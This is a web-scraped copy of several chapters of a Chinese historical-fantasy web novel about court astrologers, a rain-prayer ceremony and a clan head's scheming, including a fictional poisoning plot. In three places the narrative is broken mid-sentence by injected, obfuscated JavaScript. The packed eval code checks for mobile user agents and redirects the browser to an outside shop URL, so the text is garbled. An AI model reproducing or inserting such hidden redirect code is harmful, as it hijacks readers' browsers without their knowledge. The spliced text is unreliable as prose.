“什么叫传男不传女?是谁定的规矩?”方思柔毫不顾忌发怒的父亲,一下子站起来反驳道,“从来都是可以学的!若是不让女子学,那为什么姑姑学的是堪舆?” “那是皇后娘娘。”方天司立刻纠正方思柔。 每次对上自己的女儿,方天司都无比头疼。就这么一个女儿,处处为她考虑,时时宠爱着,却惯得越来越无法无天,动不动就和自己呛声,方天司等着方思柔教训道,“开口闭口姑姑,我教你的礼法呢?” “姐姐也会堪舆,我为什么就偏不能学?”方思柔才不管方天司怎么发脾气,誓要给自己争个明白。 “你——”,方天司恨不得一把将自己手里的筷子拍死在桌上,怒道,“我怎么养了你这么个女儿?” “我怎么了?”方思柔脾气也上来了,“我还不是你生的?” “大逆不道!”方天司被方思柔的话一哽,竟一时找不到话反驳,只得怒斥道。 “我就是想学堪舆!怎么就大逆不道了?我要学堪舆!你不要整日锁着我!”方思柔用比方天司更大的声音吼道。 “混账。”方天司一边呵斥方思柔,一边揪住她往屋外带,“你已经和四皇子定了婚约,堪舆别想了,去你娘那里待着,成婚前别想着往外跑。” “我不去!”方思柔死命地挣扎,口不择言道,“娘疯了!我不要和疯子待在一起!” 方思柔伸手去掰方天司捏住自己的手指,另一只手不断拍打他的胳膊,“都是你!都怪你!是你把娘亲逼疯的。” 方天司气得脸都肿了起来,“啪——”一巴掌扇到方思柔脸上,“谁教你说这些话的?方星曜?还是她那个病秧子娘?” 方思柔自小便是被方天司纵着,从没挨过打,这一巴掌把她打得愣住,等她反应过来时,她已经被方天司拽到了方谨微的屋门口。 “不!我不进去。”方思柔奋力挣扎,一边小声喃喃。 “她是你娘!”方天司忍住又要朝方思柔扇下的巴掌,对门口守着的侍卫使了个眼色。 侍卫立刻打开方谨微的房门,待方天司把方思柔推进去后,又立刻关好房门。 “成婚前,就在这里好好陪陪你娘。”方天司快速地撇过头,不去看屋内的景象,只厉声冲方思柔道。 方思柔被大力推进屋内,一脚踩在了散落在地面的稿纸上,这些纸杂乱无章地铺得到处都是,方思柔踩上去,脚一滑就跪在了地上。 索幸这些纸铺得极厚,方思柔竟是一点也没伤到。 方思柔瑟缩地抬起头,便对上了一双冷漠无比的眸子,“你怎的来了?”方谨微只看了方思柔一眼,便低下头继续拨动算筹,不断在案前写写算算。 “娘……”方思柔被方谨微这一眼,吓得膝盖一滑趴在了地上,她垂下头唤了一声。 “别这么叫我。”方谨微头未抬,轻叱一声道,“方家的女儿没你这么怂包的。” 方思柔闻言诧异地抬起头,迅速从地上爬起,凑到方谨微面前,脸上带上了惊喜的笑容,开心地问道,“娘,你好了?” “让开。”方谨微一把拂开方思柔,“别挡着我的光。” 正午的阳光其实是有些刺眼的。 方天司站在院外未曾离开,他拂平自己被方思柔抓皱的袖子,招来侍卫询问,“夫人这些日子如何?” “回家主,夫人还是同往常一样,不肯出来,也不让人打扰。”侍卫恭敬回答。 “她还是和年轻时一样,认死理。”方天司叹了口气,也不再细问,只吩咐侍卫看着方谨微和方思柔,又招人去唤罗奇和方家医师,自己则径直去了书房。 此时正是午膳后休憩的时间,方家四下安静无声,方天司在书房中一坐便是一个时辰,他的桌案上摆着方谨微昨日派人送来的《乾历新算》。 他拿起一张被撕得像狗啃过一样的碎纸片,上面清丽隽永的字迹写着:“月亮运行受太阳轨迹影响,可在错误的新历中加入算学推演,闰月虽除,却可依此平年差。设每月二十八日的斡年,四十年可平乾历年差,若设每月二十九日的斡年,今年便可重回正确历法,让二十四节气回归太阳历的正确天时。” “为何要折磨自己?又为何要如此执着?”方天司轻叹一声,“换皇子登基之时,重定天命正朔,再重定新历,不也一样吗?就和当年废除天元历,颁布乾历一样。” 方天司放下手中方谨微撰写的《乾历新算》,自言自语道,“不过是等到乾帝退位。不过是多错些年罢了。总归历法都是要不断更新的。”方天司将纸片小心收起,又叹道,“如今误差不过几日,你们就这般不能容我么?我也是为了方家。” “家主,罗奇大人到了。” “进。”方天司将桌案上方谨微送来的注书、稿纸都收好,吩咐道。 “方大人。”罗奇进门就先行了个礼,赶在方天司开口询问前道,“属下已经经过严密的测算,月食那日就是祈雨大典那日。” “祈雨大典那日,可有雨?”方天司淡淡问道。 “这——”罗奇被问住,低下头道,“属下不知。” “不知?”方天司这才看向罗奇,“观气术白学的吗?如今离祈雨大典已只剩半月了。” “大人——”罗奇没想到自己一来就会被骂,赶紧跪下道,“属下不才,观气术只能在最多一周前算到降雨,这……属下无能。” “月食呢?”方天司又问道。 “回大人!”罗奇的声音带上一丝笃定,“确是在春分,与姜道长所测分毫不差。” “分毫不差?”方天司气得差点拿砚台砸罗奇。 “大人赎罪。”罗奇忙磕头,“姜道长的月食预测是今日未初才交到臣手中的,臣还未来得及写奏疏给大人,便被大人你召来了。” “陛下那边呢?”方天司有气没处撒。 “是陛下那边传来的消息。”罗奇答道。 “陛下也知道祈雨大典那日后有月食?” “想来是的。”罗奇拿出一封内廷的文书递给方天司,“是公文。” “公文?”方天司拿过公文快速看了一眼,“直接送给太史司?” “是,大人。”罗奇道,“不是送到观星台,是直接送到礼典司的。” “下去吧。”方天司对由皇帝内廷发给礼典司的这份公文颇感意外,于是挥退了罗奇,但他心里却隐约感觉到事情不对劲。 姜道长负责内廷观星,是属于皇帝自己的观星谋士。这内廷天象官一是为了与太史司同步测算,防止太史司错判天象;另一方面也是为防止太史司垄断天象的解释权。 但平日里,内廷与太史司来往极少,内廷直接汇报给皇帝,从不与太史司互通有无,更妄论将月食的公文送与礼典司。 如今,内廷的公文直接送到了礼典 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309627|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司…… 这意味着,在皇帝眼中,月食之事,是极大概率,一定会发生的。 那么发到礼典司,便是告诉礼典司,提前预备“救月”典仪。 可这“救月”,是谁主持的典仪呢? 是皇帝。 方天司快速做出判断。 也就是说,皇帝需要一个救月大典,太史司需先行提报春分当日有月食,提前筹备“救月”,并在祈雨大典当日夜里由皇帝主持。 今日皇帝已为太子加冠,而太子要代皇帝主持祈雨大典。不论方星曜的祈雨后下雨与否,只要由太史司发布“月食”这一天象,不论这“雨”,最后下还是不下;不论这月食民间看得见,或是看不见;只要“救月”典仪一办,皇帝都是天命之人,天威昭彰。 这样一来…… 太子祈雨,“德”变罪。 “祈雨大典”成败与否,当日逢月食,是天罚。 最后,皇帝亲领“救月”。太子也好,神女也好,皆伏于皇帝天威,天下安危系于皇帝一身。 “呵……”方天司冷笑一声,“方星曜。机关算尽,仍是抵不过天命所归吧。”方天司唤来仆从,吩咐道,“清热解咳的药准备好了吗?可有用?医师怎么说的?” “已经按您的吩咐送去了,医师说苏青莲这几日病情有所好转,许是得了上天庇佑。” “什么上天庇佑?”方天司嗤笑一声,“不过是回光返照罢了。” “家主,苏青莲的病情确是真的好转许多。”那仆从直愣愣道,“听闻今日,苏青莲还去了小姐的书房。” 方天司撇了仆从一眼,这蠢仆,话话听不明白,事事总办不好,要不是看他一贯衷心,嘴也严实,能办腌臜差事的份上,自己早就将这蠢仆杖毙了,“无妨,”方天司收回目光冷冷道,“如今,苏青莲可以死了。” “是。”浑然不觉自己在生死线上绕了几个来回的蠢仆立刻恭敬应下。 “去吧,再补一份清热的方子于今日晚间送去。”方天司吩咐道。 仆从刚转身出门,方天司想了想还是开口,“回来。光清热的方子不够,今夜避开其他人,找个机会给苏青莲下毒。” “用什么毒?大人。”蠢仆这次似是聪明了点,赶紧开口问。 “这也要我教?”方天司觑了仆从一眼,“找医师要,让苏青莲看起来是油尽灯枯而死。不要再弄出用茶叶换药这种蠢事。” “是,是,大人。”蠢仆谄媚应声,“小的这次一定办成。” “嗯。”方天司冷笑一声,找补道,“也算了了苏青莲的心愿,明日便让她去见方谨琮。” 斜阳西落,方天司的书房内,书案也好,书架也好,影子均是越拉越长。 悬着毛笔的笔挂被夕阳拉出一道道长影,而方天司隐在其后的面庞,像是一只被囚笼困住的鬼魅。 暗影撕扯着自己的嘴角,露出啃噬牢笼的獠牙,发出暗哑的低喃,“你们不懂。皇帝才是真正的天命,谁是皇帝谁就能定正朔。司天神女也好,太子也好,没有谁是所谓的正统。” 鬼魅磨了磨自己的尖牙,“旱灾也好,月食也好。就算再来一个水灾,再来一个荧惑守心也罢,都大差不差。天象说国有灾,国便有灾吗?天象说国要灭,国就会灭吗?你们才是所谓天命的棋子。灾异、天象,都是可以解释的。而你们,都不过是皇权的棋子罢了。” 方天司甩了甩手中的毛笔,将其挂上笔挂,浓黑的贵墨坠落在青石板地面上。 书房外,一道窈窕身影一晃而过。 11. 第 11 章 方星曜跪于皇家祭祀台中央,她身着新制的青色司天神女袍,因着旱灾是天罚,神女需要在祈雨大典前先代百姓向天赎罪,锦袍制式简单又轻薄。 方星曜刚刚手捧荆棘,引领“土龙”的队伍,沿着子规湖的边际线步行穿越整个皇都的主街,让龙王巡视旱情,完成“晒龙王”的仪式。 现在,方星曜作为天禄国的司天神女,她需要完成祈雨大典前置流程中的第二个仪式——“曝巫”。 方星曜自今日起,需在祭台跪满八日,以全祈雨旧礼。 初春的天气仍颇为寒冷,可日头却是极烈,方星曜被冷热交替着侵蚀,虽是有些顶不住,却仍是跪得端肃,无人可窥见她隐隐发颤的膝盖。 如今,距离祈雨大典,还剩十一日。 祈雨大典紧跟太子冠礼,时间距离太近,连续操办两件大的国事,令朝廷各部不堪重负。 太乐署的太乐令乔芝灵是个美男子,如今却丝毫不顾形象,他头都快被自己薅秃,一屁股坐到太史司议事殿的地砖上开始撒泼耍赖:“此事太乐署办不到。我说办不到就是办不到。你这样不管不顾,倒不如直接说你要我乔某的脑袋。” “乔大人,你先起来,方大人不是这个意思。”礼典司王申伸手去拉乔芝灵,眼光在屋内扫了一圈,“这么多大人都在呢。” 太常,大司农,大鸿胪的一大屋子相关官员这会儿全在各忙各的,他们像是集体失聪一样,没有一个人去看坐在地上的乔芝灵。 “八名舞童,要训练到可以完成祝雨舞至少需要十日。”乔芝灵一甩袖子摆脱王申,“我们现成的舞童你说不能用,一定要纯阳八字,这没问题,大典仪制是你们说了算。但是大典三日前才能找齐,这就不行。” “你当找人那么容易吗?”这次的祈雨大典是继十八年前乾帝登基的第二个国家级典仪,方天司得了皇帝的指令,要他全力举办祈雨大典,不得有误,再加上太子监仪,他也是一点小动作都不敢有。“都要八岁的孩子,八字也要一个一个算,况且我朝百姓的生辰登记不详。”方天司一个眼神甩去钱攸良那里,“你要撒泼,倒是找大司农去。” “我朝十五岁以下的孩童是算入一户征税,不列单独税赋,登记他们的生辰做什么。”正在和左相交谈的大司农钱攸良,像是长了第三只耳朵似的,立刻就扭过头忿忿开口反驳方天司,“我们又是出钱,又是出人,已经全力配合你们了,怎的户籍登记这种事还要赖到我们大司农?”钱攸良说完又哼了一声,“若真要做户籍登记,那也合该是你太史司的职责,占星,风水,吉凶,这不都是你们的事儿?” “这怎能混为一谈?”方天司本来只是想甩个锅,谁知道竟被钱攸良听了去,“你们成天就知道说没钱,我天禄国的银子可全在你们那里管着。” “那是陛下在管着。”钱攸良听方天司这话头不对。 银子的事,说小了是大司农不肯拨款,说大了可就是贪腐,方天司这么说不是在给自己下套是什么?“我大司农听命的是陛下,陛下说这银子要花,我们定然是再难也要凑出来的?” “现在又关银子什么事?”乔芝灵见这两人越扯越偏,自顾自地从地上站起来凑到方天司面前,“方大人,舞童兹事体大,八岁的孩子年纪太小,心性不齐,我们不仅要训练他们祝雨舞,按你们礼典司的流程,他们还要在仪式中段去田间画龙布雨。这万一出错,雨求不来,怪罪到太乐署,我们可担不起。”乔芝灵目光一转,又接着道,“十六岁,若真的这么难找,那便找成童,懂事也好教。” “不可啊,乔大人。”王申紧紧追着乔芝灵,“舞童按礼制最多不能超过十四岁。” “若是十四岁的孩子……”乔芝灵思索道,“九日,不能再少了。”说完,乔芝灵又掐起指头数了数,“明天、不、后日,后日必须把人给我送来。” “你先前说,八岁的孩子训导要十日。”方天司听乔芝灵说后日便要人,皱起眉头驳斥,“十四岁的孩子还要九日?你们乐部倒是很会办事。” “各位大人,”一直坐在一旁喝茶的李昭带着温和的笑意,开口安抚道,“孤倒是觉得此事不难解。” “太子殿下。”李昭发话,屋内所有的人全部安静下来向李昭行礼。 “不若从右相的将军府找找,”李昭淡淡开口,语气带着一丝询问,“我朝男童十岁便可入军营,若舞童的年纪从八岁至十四岁皆可,那么倒是可以在将军府调取近几年的档案。” “太子殿下英明。”乔芝灵领头跪下来,向李昭致谢后,便立刻站起身向方天司道,“若是十岁的孩子,九日,必须在后天,将选中的舞童送来我太乐署。” “用右相的兵?”方天司皱眉。虽说方思柔和四皇子的婚事,对于两家来说已经心照不宣,但武道成一贯珍惜自己的兵,若是太史司开口找将军府要人做舞童,说不好武道成以为太史司想借机插手用兵之事。 万一这老头又暴起脾气,影响到方思柔和四皇子的婚姻就不好办了。 但方天司又不能直接反驳太子,只能状似自言自语道,“这怕是不合规矩?” 李昭笑笑,转而望向站在自己身边的廿九问道,“你是四弟最器重的手下,如今又是我东宫卫率,此事你可能协办?” “回太子殿下,属下需先禀报四殿下。” “好说好说。”舞童挑选之事确实难办,太史司也没有办法按乔芝灵说的那么快找到生辰合适的男童,但若是四皇子出面向大将军府要人,右相不仅会给,且确实能以最短的时间迅速找到舞童,这绝对是好事。方天司立刻应道。 这廿九过去是四皇子最得力的护卫,一向颇得器重。虽不知李念使了什么手段竟能将自己的护卫,硬按给太子做东宫卫率,但足以得见四皇子的手段。自己联姻这一步棋走得甚好,但太史司还是得尽量从此事里撇开,以免惹得武道成猜疑。 方天司捋了捋袖袍上前向李昭行礼道,“若右相肯借兵,可让神女大人前去查阅档案,边查边算。这般应当很快就能挑选到合适的舞童。” “神女大人亲自为我太乐署挑选舞童?”乔芝灵闻言喜道,“极好,极好。神女大人会亲自将舞童送来我处吗?我定会好好迎接。” 乔芝灵此话一出,李昭举着茶杯的手一顿,目光冷冷落到乔芝灵欣喜、憧憬、期待的脸上,“不若孤着人帮你问问?”李昭笑了一下问道。 “不必不必,”乔芝灵莫名觉得后颈一凉,却也没多想,只马上回道,“太子殿下事忙,我着人去问神女大人就好。” “嗯。”李昭面无表情放下茶盏,扫了一眼乔芝灵。 太乐属掌管皇家礼典的雅乐乐舞,官员皆擅音律且出身高贵。这乔芝灵不过二十出头的年纪,音律乐舞却已是当朝第一人,身有爵位,还是备受宠爱的嫡子,性子却是…… 李昭收回打量的目光,心内有了定论:身姿柔弱,貌若好女。他回了乔芝灵一个温和的笑,“既如此,孤便放心了。” 乔芝灵不明白自己找神女询问舞童的事,有什么需要劳烦太子殿下担忧的,又见李昭对自己笑,只觉得自己何其有幸,能得到光风霁月的太子殿下赞赏,瞬时心内光芒万丈,开心应道,“臣定会办好舞童之事,绝不让殿下忧心。” 李昭只觉一言难尽,面上却是和善地冲乔芝灵点点头,起身准备离开。 廿九也不需李昭召唤,立刻会过意来,向殿内的各位大人行了一礼。 “恭送太子殿下。”众臣起身纷纷向李昭行礼。 “祭祀品等事宜就有劳各位大人了。”李昭回礼后谦逊道。 廿九默默跟上李昭往殿外走,走到一半才猛然间想起什么,回头向方天司拱手行了个礼。 太史司因着观星台,占地极广,李昭自殿中出来要回到东宫,需要先绕过观星台所在的观天峰,这座由前太史司督造的人造高山的南面便是皇家祭祀台。 此时已近黄昏,方星曜今日的曝晒也将在日落后结束。 李昭望向不远处那座,三层的、圆形的,四人高的祭祀台。 正是初春,因着傍晚的降临,温暖的春风裹上了一些凉意,这风自南面来,带起李昭太子常服的下摆,卷起地上焚烧后的纸灰,飘飘摇摇的沾上祭台上的玄色祭旗。 因着皇家祭祀台背靠的观天峰,这风又打了个旋,牵起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方星曜冲到母亲榻前,往日母亲虽病体缠身,却每每在她到来之时会勉力在侍女搀扶下坐起身与她说几句话,无论多虚弱,无论多难受。 而此时,苏青莲紧闭双眼,枯柴般的手腕垂落在床沿,咳出的斑斑血渍把她的枕边、被面,染出大片大片枯萎的寒梅。 昨日还笑着与自己说话的母亲,如今嘴唇紧抿,身体冰凉,已经没了生命的气息。 随着方星曜的动作,苏青莲的小臂如折断般掉落在榻上发出“咚”的一声。 方家的医师殷成,见方星曜想要扶起苏青莲,赶忙上前阻止,“小姐,夫人不宜挪动。” “为何?”方星曜呆滞地转过头,目光落在虚空中,声音颤抖,也不知是在问谁,“母亲明明好了许多。” “夫人油尽灯枯,”殷成冲院外看了一眼,道,“小姐节哀顺变。” 几十名家仆忽地全数冲进来,将房内所有的人全部扣住。 殷成后退一步冲方星曜道,“小姐,在下已经尽力了。” 方星曜被两名家仆抓紧胳膊禁锢住,怎么都挣脱不开,连续八日的“曝巫”导致的虚弱,加上膝盖的伤,她甚至连多挣扎一下的力气都没有,只能眼睁睁看着新进来的家仆粗暴地将苏青莲从榻上抬起移了出去。 “何时轮到你们来管我的事了?”方星曜嘶哑地喊道,“不许动我的母亲。” “你们把我的侍女怎么了?”方星曜脑中像有几百个锥子在不断地刺扎,疼得她牙关不断打颤,眼前一片迷蒙,“是你们,害死了我的母亲!” “放开我。”方星曜极力挣脱不得,无力地嘶声道,“我是司天,是天禄国的神女,你们这样不敬神,是想受天罚吗?” “府里出了些腌臜事,你的侍女勾结外男,此事不宜外传。”方天司心里憋着一股怒气走进屋内,面上挂起一点担忧,对方星曜道,“你先休息,我来帮你处理。明日就是你和太子的“斋戒”,你且先好好地去净室,明日让二丫陪你进宫伺候着。” 方天司拍了拍方星曜的肩膀,“你放心,嫂嫂的后事我一会安排妥当。切记,莫要耽误了祈雨大典。” 12. 第 12 章 方家净室被围成铁桶一般。 说起来是净室,方星曜被关的地方,实际上是方家祠堂用于祭祀前静心的斋室。 方天司安排了将近四十个家仆,从院外到祠堂,再到斋室,紧紧围了三层,以防止方星曜在进宫斋戒前跑出去。 兰兮恭敬地站在方天司一旁,等候指令。 “做的不错。”方天司点头赞赏道,“我会收下你的弟弟。既然他有研习天象的天赋,我自然会好好教导。” “多谢家主。”兰兮身子一软,倏地跪下,“你的大恩大德,二丫无以回报。我和舍弟鹅蛋,定当衷心为大人效劳。” “好了,”方天司多日谋划已成,心里放松下来,人也宽和不少。他轻轻扯走被兰兮拽着的袖子道,“你和鹅蛋既是我远房亲眷,我自是会对你们多加看顾。” 方天司看向空中悬挂的极细的残月,叹了口气,“可怜我父族一脉皆被先帝发配边关,你们能寻来也实属不易。日后就好好跟着我罢,我会好好待你们的。” “是,阿叔。”兰兮道。“我定会好好看着方星曜,绝不会出岔子。” “嗯。”方天司深感近日愈发顺风顺水,离开时脚步都轻快许多。待走了几步才想起来吩咐道,“子时送神女前往宫中净室,不许出岔子。” “是,大人。”兰兮行了一礼,便令人打开斋室的门,走了进去。 斋室紧靠祠堂,连窗户都没有,室内极为逼仄,空无一物。 兰兮掩上门,看向跪坐在蒲团上的人。 此时的方星曜面上看起来异样平静,但不断摩擦、抓挠地面的手出卖了她。 “小姐。”兰兮开口唤她,试图阻止她伤害自己。 “夫人是怎么死的?”方星曜扭过头,眼瞳却未动,问完话顿了好一会儿,眼神才随之转过来落在兰兮的薄唇上。 兰兮迟迟没有说话。 方星曜缓缓抬起头,这才对上了兰兮不敢看向她的眼睛。“你说话啊?我母亲是怎么死的?” 兰兮顿了顿,走上前扶住方星曜,让她靠住自己,轻声道,“我赶到的时候,夫人已经吐血而亡了。” “屋子里其他的侍者是怎么回事?”方星曜死死盯着兰兮的眼睛,极力想要判断她到底有没有撒谎。 “奴婢不知,”兰兮伸手在方星曜的后背上下按抚,试图替她顺气,让她放松下来,“奴婢听到院内吵闹,赶去的时候那些侍者就全晕倒了。” “勾结外男?”方星曜忽地冷笑一声,又垂下头不说话了。 “小姐?可需奴婢帮你唤些茶水进来。”兰兮看着方星曜干裂发白的嘴唇和衣袍上膝盖处的血渍,“你的伤口,容奴婢帮你包扎。” “山川有脉,人亦有骨。”方星曜闻言抬起头,再次看向兰兮。 兰兮因着方星曜突如其来,毫不相关的一句话怔愣住,完全不明白她的意思, “你骨节藏劲,气色光明,非寻常女子所有。”方星曜咬了咬牙关,决定直言,“你会武功。” 兰兮心头猛地一颤,却迅速调整过来道,“是,小姐。奴婢会一些武功。” 方星曜忍着打颤的牙关,仔细看二丫的表情。 这姑娘两次出现都有些突兀。方家采买家仆基本都固定在新年之前,这是因着每年很多人到了过冬或是因没有口粮,或是缴纳不出税赋而活不下去。而二丫进府的时间却是在年后。 荷花寻人去问,却说这二丫是方天司亲自带回府里的,是恰好在街上遇着卖身葬爷爷的二丫,见她可怜才带回了府里做些杂役。 方星曜派人去查,二丫的身世又确是属实,城西口十八巷都知道这风水先生和他孙女,卖烧饼的大强也说这爷孙两命苦,还感叹风水先生过世前日还去他那里买了个饼,却没成想转天,人就没了。 难道方天司真的会一时兴起的发善心? 若按二丫说的,她是存了心思来报恩,又为何恰好能被方天司在街上遇见? 方才,所有的侍者全都晕倒了,却只有二丫一人还醒着站在榻边,方天司又安排她跟着自己进宫斋戒。 二丫会是方天司的人吗?方星曜安静地看了兰兮许久没有开口。 兰兮在这沉默的压力下竟是有了一丝慌乱,她将方星曜扶正后跪下道,“奴婢并非有意瞒着小姐,武功是我跟隔壁阿牛哥学的,他……”兰兮低下头,将脸侧向一边,看起来是恰到好处的害羞。 “嗯,我明白。”方星曜疑虑并未全消,但如今能用的却只有二丫一人,她试探道,“你可有办法替我送一封信?” “奴婢万死不辞。”兰兮起身继续扶住虚弱的方星曜,“小姐要将信送给谁?” “皇后娘娘,”方星曜道,“你的身手可有办法瞒过方天司的人,潜入皇宫内?” “奴婢尽力一试。”兰兮见方星曜信了自己,松口气道,“或可趁入宫之时。” 方星曜目光在屋内扫了一圈,空无一物的内堂遑论找到纸笔,她掀开带着暗黑血渍的下袍摆,露出白色内衫,撕出一条布片,又掀开内衫露出血淋淋的膝头。 方星曜忍着痛,纤白的指尖点在膝头的伤口处,粘下自己的鲜血,她原本想要在布片写下九年前父亲过世的年份和日期。那日,母亲得知父亲过世的噩耗本是想随他去的,是因为发现有了身孕这才消了死志。 方星曜看了一眼兰兮,顿了顿,落指之时却又将日期换成了:宝婺星沉。 兰兮看着方星曜写下的这四个字,微不可察地皱了皱眉,不知其意,也无法明白这四个字交给皇后娘娘,用意如何。 方星曜余光扫了兰兮一眼,复又垂下头。这是观星人才懂的语言,意为家母过世。自己能相信兰兮吗? 马上就要入宫斋戒,入宫之后的三日,自己不可和外界接触,更遑论向皇帝奏报丧母一事。 方天司命人带走母亲,送自己进宫斋戒,还特意强调祈雨大典。究竟是在谋划什么? 按天禄国丁忧制度,父母离世自己需辞官守孝,若向皇帝报丧,这祈雨大典自己是断不能主持了,除非皇帝令自己夺情留任,带孝参加大典。 而方天司如今的做法是让自己变成私自匿丧。 斋戒期间不得接触他人,自己唯一可以通报的只有礼官。但若在大典前爆出此事,大典必乱,这时已进斋戒,再换人主持,斋戒不足三日,已然坏了礼数。 如今无论如何,母亲离世之事,得想办法尽快报于乾帝。若姑姑能收到消息,想必能给陛下送去消息。 方星曜的眼睫疲惫地动了动,心里叹了一口气:祈雨大典,你到底是我的运,还是我的劫? 斋室无窗,今日月相如何不得而知,大典还剩三日,但方才“曝巫”之时,确见黄云贯斗。也许一切还未到绝境,谁输谁赢,还未见最终分晓。 “神女大人,该进宫了。”方天司的蠢仆打开内室的锁,对着兰兮谄媚地笑了笑,他将干净的衣袍放下,又紧接着催促了一句,“还请大人莫要耽误了时辰。这宫门快落锁了。” 此时,皇宫内,乾帝的御书房里已经吵闹了好一阵儿。 武道成和方天司两人相对坐在皇帝的书案前,仅一臂之遥。大司农钱良和太常文思礼则在他们身侧的位置。 方天司的话刚出口,武道成瞬间便站起,暴怒道,“老子打个仗还要你这神棍先算日子?” 武道成年岁已高却人高马大,身上带着早年征战沙场的弑杀之气,他紧迈一步低头瞪方天司,“废物东西,别在老夫面前丢人现眼。” 大司农,太常对视一眼,也都跟着站起,紧接着便微不可察地后挪一步,与这二人拉开距离。 方天司位高权重,连皇帝都不曾对他说过重话。此时被武道成骂废物,恼得他平日里滑溜的口条硬生生僵住,只气得攥紧掌心的食指,指着武道成不断抖动,“你……武道成你别欺人太甚。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318715|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钱攸良和文思礼都属于左相杜之年管辖,平日里又是被太史司侵占职权,又是被打压,都受了不少委屈,对太史司的滔天权势颇有怨言。见方天司被右相压着骂,二人都憋不住地噗嗤笑出声。 “你……你们……”方天司气恼更甚,瞪了站在后面的二卿一眼,随后又转头求助地看向眼皇帝,却见皇帝低头专注审阅手中的奏折,并没有管他们争执的意思。 方天司重重喘出一口气,力图平复心情,他先是后退一步以免武道成暴起揍人,接着便缓缓开口,“我也是为右相你考虑,出兵西域乃大事,总合该要定个吉时。国家礼度不可废,人心所向我朝才能出师得利。” 方天司摸索着坐上椅子,而后端起桌上的茶喝了一口道,“出兵也需讲究一个天时地利人和。” 武道成军功卓绝,性情刚直,最见不得摆弄朝政之徒。即便是与方家有了婚约也经常不给方天司好脸色,再加上这次祈雨太史司还要了自己的兵做舞童,把装神弄鬼之事带进兵营,令他无比不爽。自己的外孙亲自来要,那自是要给的,自己外孙一向懂事,从不拿军中之事开玩笑,所以出主意的一定是方天司这软蛋神棍。 对于武道成来说,既然皇帝有意攻打西域,那么即刻集兵启程打了便是。起兵要的不是装神弄鬼算卦测吉凶,要的只是皇帝一句出兵。他眉头一皱想让方天司闭嘴,紧跟着就骂了一句,“说的都是些什么狗屁。” 方天司一噎,又偷偷拿眼看了一下皇帝。 而皇帝仿佛丝毫没有听见他们的争执,只放下奏折端起茶喝了一口后,拿起了另外一本祈雨大典的奏折继续翻看。 方天司想,这是必须依礼法选吉日出兵的意思了,便又喝了一口茶平复自己后道,“大司农尚需时间准备军资钱粮,也不是即刻可以起兵的,钱尚书,您说对吗?” 大司农钱攸良见方天司点自己,立刻上前叠声应道,“是,太史令大人思虑周全,多谢你顾忌大司农的工作艰辛。” “嗯。”方天司见钱攸良应声,便接着道,“大司农需多少时日备齐军资?我太史司配合大人的时日准备出兵大典。” “啊,这个……”钱良揣摩着方天司的神色,伸出一个指头,“一……” “一个月?”武道成冷冷看向钱攸良,“老子在外面带兵打仗,为你们大司农充盈国库,你们大司农就是这样吃干饭的?准备个军资花一个月?跟个瘪王八样儿,踢一脚都不带动的。” 方天司见武道成又暴起,手在袖中快速掐算吉日后道,“十九日!” 武道成转过头瞥方天司。 “太常也需要时间备典,我太史司派人手去帮忙,大司农不知能否加紧调配,务必保证右相能在十九日后出兵。”方天司朝钱良道。 “臣定当竭尽所能!”钱攸良松口气应声,冲武道成行礼,“大将军稍安,我大司农定当集全部之力确保十九日后顺利发兵。” “哼。”武道成冷哼一声,“这还差不多。” “好了。”乾帝放下手中的奏折,终于开口道,“各位大人事务繁忙,还有三日后的祈雨大典要操持,尤其方大人任务繁重操劳。朕知武相一心为国,但也莫要太心急了。” “陛下圣明!”四人异口同声辑礼应道。 “陛下,方家密奏!”门外传来内侍总管的声音。 乾帝抬眼看向方天司道,“方大人。” “是,陛下。”方天司去到殿外领回密奏呈给皇帝,却并未禀明为何自己人在宫中,府中却有密奏直接递给皇帝。 “臣告退。”殿内其余三人见皇帝看完密奏后神色有异,且没有继续与他们说话的意思,便纷纷起身告退。 “嗯。”皇帝眼未抬,只淡声道,“有劳各位大人。” 此时已是深夜,御书房中却仍然烛火通明。 乾帝伸手揉了揉眉心,开口朝一直等在一旁的方天司道,“你可知方星曜母亲过世之事?” 13. 第 13 章 “臣应诏进宫前听闻方母病情加重,却没有想到……”方天司惊讶地担忧道。 皇帝被方星曜母亲过世这个意外搅得烦忧无比。 原本大典由方星曜主持,太子代替自己祈雨,再以太史司的月食通报,自己领办“救月”大典,是最佳的方案。 自己作为皇帝,已为国家举办了祈雨大典,大典办完,这雨下也好,不下也好,因着“天狗食月”的灾异天象,皆可推给太子“失德”。民生若怨,太子可废,可再立,亦可另立。 而自己作为皇帝则不需再下罪己诏,也不会被民生绑架,颁布新政令平民怨。 按原本的计划,即可压制太子,又可摆脱皇帝失去上天庇佑的舆论,且还进一步巩固了天子威望。 现如今,方星曜母亲的过世,就如翻倒的棋盒,打乱了整个棋盘。 方星曜不能再作为司天神女完成祈雨,大典亦不可由太子一人主持。 若再临时钦封一位新的“司天神女”,又等于自毁天命的唯一性,恐失民心。 